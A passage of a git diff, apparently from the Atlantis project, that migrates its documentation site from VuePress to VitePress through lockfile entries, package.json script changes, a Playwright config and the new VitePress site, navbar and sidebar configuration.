"https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitepress/node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/vitepress/node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/vitepress/node_modules/vite": { + "version": "5.4.18", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.18.tgz", + "integrity": "sha512-1oDcnEp3lVyHCuQ2YFelM4Alm2o91xNoMncRm1U7S+JdYfYOvbiGZ3/CxGttrOu2M/KcGz7cRC2DoNUA6urmMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vscode-jsonrpc": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/vscode-jsonrpc/-/vscode-jsonrpc-8.2.0.tgz", + "integrity": "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/vscode-languageserver": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/vscode-languageserver/-/vscode-languageserver-9.0.1.tgz", + "integrity": "sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "vscode-languageserver-protocol": "3.17.5" + }, + "bin": { + "installServerIntoExtension": "bin/installServerIntoExtension" + } + }, + "node_modules/vscode-languageserver-protocol": { + "version": "3.17.5", + "resolved": "https://registry.npmjs.org/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.5.tgz", + "integrity": "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==", + "dev": true, + "license": "MIT", + "dependencies": { + "vscode-jsonrpc": "8.2.0", + "vscode-languageserver-types": "3.17.5" + } + }, + "node_modules/vscode-languageserver-textdocument": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/vscode-languageserver-textdocument/-/vscode-languageserver-textdocument-1.0.12.tgz", + "integrity": "sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-languageserver-types": { + "version": "3.17.5", + "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz", + "integrity": "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-uri": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.0.8.tgz", + "integrity": "sha512-AyFQ0EVmsOZOlAnxoFOGOq1SQDWAB7C6aqMGS23svWAllfOaxbuFvcT8D1i8z3Gyn8fraVeZNNmN6e9bxxXkKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vue": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.17.tgz", + "integrity": "sha512-LbHV3xPN9BeljML+Xctq4lbz2lVHCR6DtbpTf5XIO6gugpXUN49j2QQPcMj086r9+AkJ0FfUT8xjulKKBkkr9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.17", + "@vue/compiler-sfc": "3.5.17", + "@vue/runtime-dom": "3.5.17", + "@vue/server-renderer": "3.5.17", + "@vue/shared": "3.5.17" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/xml-formatter": { + "version": "3.6.3", + "resolved": "https://registry.npmjs.org/xml-formatter/-/xml-formatter-3.6.3.tgz", + "integrity": "sha512-++x1TlRO1FRlQ82AZ4WnoCSufaI/PT/sycn4K8nRl4gnrNC1uYY2VV/67aALZ2m0Q4Q/BLj/L69K360Itw9NNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "xml-parser-xo": "^4.1.2" + }, + "engines": { + "node": ">= 16" + } + }, + "node_modules/xml-parser-xo": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/xml-parser-xo/-/xml-parser-xo-4.1.3.tgz", + "integrity": "sha512-U6eN5Pyrlek9ottHVpT9e8YUax75oVYXbnYxU+utzDC7i+OyWj9ynsNMiZNQZvpuazbG0O7iLAs9FkcFmzlgSA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 16" + } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + } +} diff --git a/package.json b/package.json index ef1cab280c..5f61387cb4 100644 --- a/package.json +++ b/package.json @@ -1,9 +1,24 @@ { + "license": "Apache-2.0", + "type": "module", "devDependencies": { - "vuepress": "^0.14.2" + "@playwright/test": "1.50.1", + "@types/node": "22.13.4", + "@vueuse/core": "12.7.0", + "markdown-it-footnote": "4.0.0", + "markdownlint-cli": "0.44.0", + "mermaid": "11.4.1", + "sitemap-ts": "1.8.0", + "vite": "6.2.7", + "vitepress": "1.6.3", + "vitepress-plugin-mermaid": "2.0.17", + "vue": "3.5.17" }, "scripts": { - "website:dev": "vuepress dev runatlantis.io", - "website:build": "vuepress build runatlantis.io" + "website:dev": "vitepress dev --host localhost --port 8080 runatlantis.io", + "website:lint": "markdownlint runatlantis.io", + "website:lint-fix": "markdownlint --fix runatlantis.io", + "website:build": "vitepress build runatlantis.io", + "e2e": "playwright test" } } diff --git a/playwright.config.cjs b/playwright.config.cjs new file mode 100644 index 0000000000..e3411787bd --- /dev/null +++ b/playwright.config.cjs @@ -0,0 +1,3 @@ +module.exports = { + testDir: './runatlantis.io/e2e' +}; diff --git a/runatlantis.io/.vitepress/components/Banner.vue b/runatlantis.io/.vitepress/components/Banner.vue new file mode 100644 index 0000000000..f73c5b38d4 --- /dev/null +++ b/runatlantis.io/.vitepress/components/Banner.vue @@ -0,0 +1,89 @@ + + + + + + + diff --git a/runatlantis.io/.vitepress/components/shims.d.ts b/runatlantis.io/.vitepress/components/shims.d.ts new file mode 100644 index 0000000000..d1f3133128 --- /dev/null +++ b/runatlantis.io/.vitepress/components/shims.d.ts @@ -0,0 +1,5 @@ +declare module '*.vue' { + import type { DefineComponent } from 'vue'; + const component: DefineComponent; + export default component; +} diff --git a/runatlantis.io/.vitepress/config.ts b/runatlantis.io/.vitepress/config.ts new file mode 100644 index 0000000000..ef0248ae02 --- /dev/null +++ b/runatlantis.io/.vitepress/config.ts @@ -0,0 +1,136 @@ +import { generateSitemap as sitemap } from "sitemap-ts" +import footnote from 'markdown-it-footnote' +import { defineConfig } from 'vitepress'; +import * as navbars from "./navbars"; +import * as sidebars from "./sidebars"; +import { withMermaid } from "vitepress-plugin-mermaid"; + +// https://vitepress.dev/reference/site-config +const config = defineConfig({ + title: 'Atlantis', + description: 'Atlantis: Terraform Pull Request Automation', + lang: 'en-US', + lastUpdated: true, + locales: { + root: { + label: 'English', + lang: 'en-US', + themeConfig: { + nav: navbars.en, + sidebar: sidebars.en, + }, + }, + }, + themeConfig: { + // https://vitepress.dev/reference/default-theme-config + editLink: { + pattern: 'https://github.com/runatlantis/atlantis/edit/main/runatlantis.io/:path' + }, + // headline "depth" the right nav will show for its TOC + // + // https://vitepress.dev/reference/frontmatter-config#outline + outline: [2, 3], + search: { + provider: 'algolia', + options: { + // We internally discussed how this API key is exposed in the code and decided + // that it is a non-issue because this API key can easily be extracted by + // looking at the browser dev tools since the key is used in the API requests. + apiKey: '3b733dff1539ca3a210775860301fa86', + indexName: 'runatlantis', + appId: 'BH4D9OD16A', + locales: { + '/': { + placeholder: 'Search Documentation', + translations: { + button: { + buttonText: 'Search Documentation', + }, + }, + }, + }, + } + }, + socialLinks: [ + { icon: "slack", link: "https://slack.cncf.io/" }, + { icon: "twitter", link: "https://twitter.com/runatlantis" }, + { icon: "github", link: "https://github.com/runatlantis/atlantis" }, + ], + footer: { + message: 'The Linux FoundationÂŽ (TLF) has registered trademarks and uses trademarks. For a list of TLF trademarks, see Trademark Usage.', + }, + }, + // SEO Improvement - sitemap.xml & robots.txt + buildEnd: async ({ outDir }) => { + sitemap({ + hostname: "https://www.runatlantis.io/", + outDir: outDir, + generateRobotsTxt: true, + }) + }, + head: [ + ['link', { rel: 'icon', type: 'image/png', href: '/favicon-196x196.png', sizes: '196x196' }], + ['link', { rel: 'icon', type: 'image/png', href: '/favicon-96x96.png', sizes: '96x96' }], + ['link', { rel: 'icon', type: 'image/png', href: '/favicon-32x32.png', sizes: '32x32' }], + ['link', { rel: 'icon', type: 'image/png', href: '/favicon-16x16.png', sizes: '16x16' }], + ['link', { rel: 'icon', type: 'image/png', href: '/favicon-128.png', sizes: '128x128' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '57x57', href: '/apple-touch-icon-57x57.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '114x114', href: '/apple-touch-icon-114x114.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '72x72', href: '/apple-touch-icon-72x72.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '144x144', href: '/apple-touch-icon-144x144.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '60x60', href: '/apple-touch-icon-60x60.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '120x120', href: '/apple-touch-icon-120x120.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '76x76', href: '/apple-touch-icon-76x76.png' }], + ['link', { rel: 'apple-touch-icon-precomposed', sizes: '152x152', href: '/apple-touch-icon-152x152.png' }], + ['meta', { name: 'msapplication-TileColor', content: '#FFFFFF' }], + ['meta', { name: 'msapplication-TileImage', content: '/mstile-144x144.png' }], + ['meta', { name: 'msapplication-square70x70logo', content: '/mstile-70x70.png' }], + ['meta', { name: 'msapplication-square150x150logo', content: '/mstile-150x150.png' }], + ['meta', { name: 'msapplication-wide310x150logo', content: '/mstile-310x150.png' }], + ['meta', { name: 'msapplication-square310x310logo', content: '/mstile-310x310.png' }], + ['link', { rel: 'stylesheet', sizes: '152x152', href: 'https://fonts.googleapis.com/css?family=Lato:400,900' }], + ['meta', { name: 'google-site-verification', content: 'kTnsDBpHqtTNY8oscYxrQeeiNml2d2z-03Ct9wqeCeE' }], + // google analytics + [ + 'script', + { async: '', src: 'https://www.googletagmanager.com/gtag/js?id=G-PGYBJTZMP2' } + ], + [ + 'script', + {}, + `window.dataLayer = window.dataLayer || []; + function gtag(){dataLayer.push(arguments);} + gtag('js', new Date()); + + gtag('config', 'G-PGYBJTZMP2');` + ], + [ + 'script', + { id: 'restore-banner-preference' }, + ` + (() => { + const restore = (key, cls, def = false) => { + const saved = localStorage.getItem(key); + if (saved ? saved !== 'false' && new Date() < saved : def) { + document.documentElement.classList.add(cls); + } + }; + restore('survey-banner', 'banner-dismissed'); + })();`, + ] + ], + markdown: { + config: (md) => { + md.use(footnote) + } + }, + vite: { + server: { + fs: { + cachedChecks: false, + }, + } + } +}) + +export default withMermaid(config) diff --git a/runatlantis.io/.vitepress/navbars.ts b/runatlantis.io/.vitepress/navbars.ts new file mode 100644 index 0000000000..bedf951053 --- /dev/null +++ b/runatlantis.io/.vitepress/navbars.ts @@ -0,0 +1,9 @@ +const en = [ + { text: "Home", link: "/" }, + { text: "Guide", link: "/guide" }, + { text: "Docs", link: "/docs" }, + { text: "Contributing", link: "/contributing" }, + { text: "Blog", link: "/blog" }, +]; + +export { en }; diff --git a/runatlantis.io/.vitepress/sidebars.ts b/runatlantis.io/.vitepress/sidebars.ts new file mode 100644 index 0000000000..9afc20f780 --- /dev/null +++ b/runatlantis.io/.vitepress/sidebars.ts @@ -0,0 +1,165 @@ +const en = [ + { + text: "Guide", + link: "/guide", + collapsed: false, + items: [ + { text: "Test Drive", link: "/guide/test-drive" }, + { text: "Testing locally", link: "/guide/testing-locally" }, + ], + }, + { + text: "Docs", + link: "/docs", + collapsed: true, + items: [ + { + text: "Installing Atlantis", + collapsed: true, + items: [ + { text: "Installing Guide", link: "/docs/installation-guide" }, + { text: "Requirements", link: "/docs/requirements" }, + { text: "Git Host Access Credentials", link: "/docs/access-credentials" }, + { text: "Webhook Secrets", link: "/docs/webhook-secrets" }, + { text: "Deployment", link: "/docs/deployment" }, + { text: "Configuring Webhooks", link: "/docs/configuring-webhooks" }, + { text: "Provider Credentials", link: "/docs/provider-credentials" }, + ] + }, + { + text: "Configuring Atlantis", + collapsed: true, + items: [ + { text: "Overview", link: "/docs/configuring-atlantis" }, + { text: "Server Configuration", link: "/docs/server-configuration" }, + { text: "Server Side Repo Config", link: "/docs/server-side-repo-config" }, + { text: "Pre Workflow Hooks", link: "/docs/pre-workflow-hooks" }, + { text: "Post Workflow Hooks", link: "/docs/post-workflow-hooks" }, + { text: "Conftest Policy Checking", link: "/docs/policy-checking" }, + { text: "Custom Workflows", link: "/docs/custom-workflows" }, + { text: "Repo and Project Permissions", link: "/docs/repo-and-project-permissions" }, + { text: "Repo Level atlantis.yaml", link: "/docs/repo-level-atlantis-yaml" }, + { text: "Upgrading atlantis.yaml", link: "/docs/upgrading-atlantis-yaml" }, + { text: "Command Requirements", link: "/docs/command-requirements" }, + { text: "Checkout Strategy", link: "/docs/checkout-strategy" }, + { text: "Terraform Versions", link: "/docs/terraform-versions" }, + { text: "Terraform Cloud", link: "/docs/terraform-cloud" }, + { text: "Sending Notifications via Webhooks", link: "/docs/sending-notifications-via-webhooks" }, + { text: "Stats", link: "/docs/stats" }, + { text: "FAQ", link: "/docs/faq" }, + ] + }, + { + text: "Using Atlantis", + collapsed: true, + items: [ + { text: "Overview", link: "/docs/using-atlantis" }, + { text: "API endpoints", link: "/docs/api-endpoints" }, + ] + }, + { + text: 'How Atlantis Works', + collapsed: true, + items: [ + { text: 'Overview', link: '/docs/how-atlantis-works', }, + { text: 'Locking', link: '/docs/locking', }, + { text: 'Autoplanning', link: '/docs/autoplanning', }, + { text: 'Automerging', link: '/docs/automerging', }, + { text: 'Security', link: '/docs/security', }, + ] + }, + { + text: 'Real-time Terraform Logs', + link: '/docs/streaming-logs', + }, + { + text: 'Troubleshooting', + collapsed: true, + items: [ + { text: 'HTTPS, SSL, TLS', 'link': '/docs/troubleshooting-https', }, + ] + }, + ], + }, + { + text: "Contributing", + link: "/contributing", + collapsed: false, + items: [ + { + text: 'Implementation Details', + items: [ + { text: "Events Controller", link: "/contributing/events-controller" }, + ] + }, + { text: "Glossary", link: "/contributing/glossary" }, + ] + + }, + { + text: "Blog", + link: "/blog", + collapsed: false, + items: [ + { + text: "2024", + collapsed: true, + items: [ + { + text: "Integrating Atlantis with OpenTofu", + link: "/blog/2024/integrating-atlantis-with-opentofu" + }, + { + text: "Atlantis User Survey Results", + link: "/blog/2024/april-2024-survey-results" + }, + ] + }, + { + text: "2019", + collapsed: true, + items: [ + { + text: "4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage", + link: "/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage" + }, + ] + }, + { + text: "2018", + collapsed: true, + items: [ + { + text: "I'm Joining HashiCorp!", + link: "/blog/2018/joining-hashicorp" + }, + { + text: "Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too", + link: "/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too" + }, + { + text: "Atlantis 0.4.4 Now Supports Bitbucket", + link: "/blog/2018/atlantis-0-4-4-now-supports-bitbucket" + }, + { + text: "Terraform And The Dangers Of Applying Locally", + link: "/blog/2018/terraform-and-the-dangers-of-applying-locally" + }, + { + text: "Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform", + link: 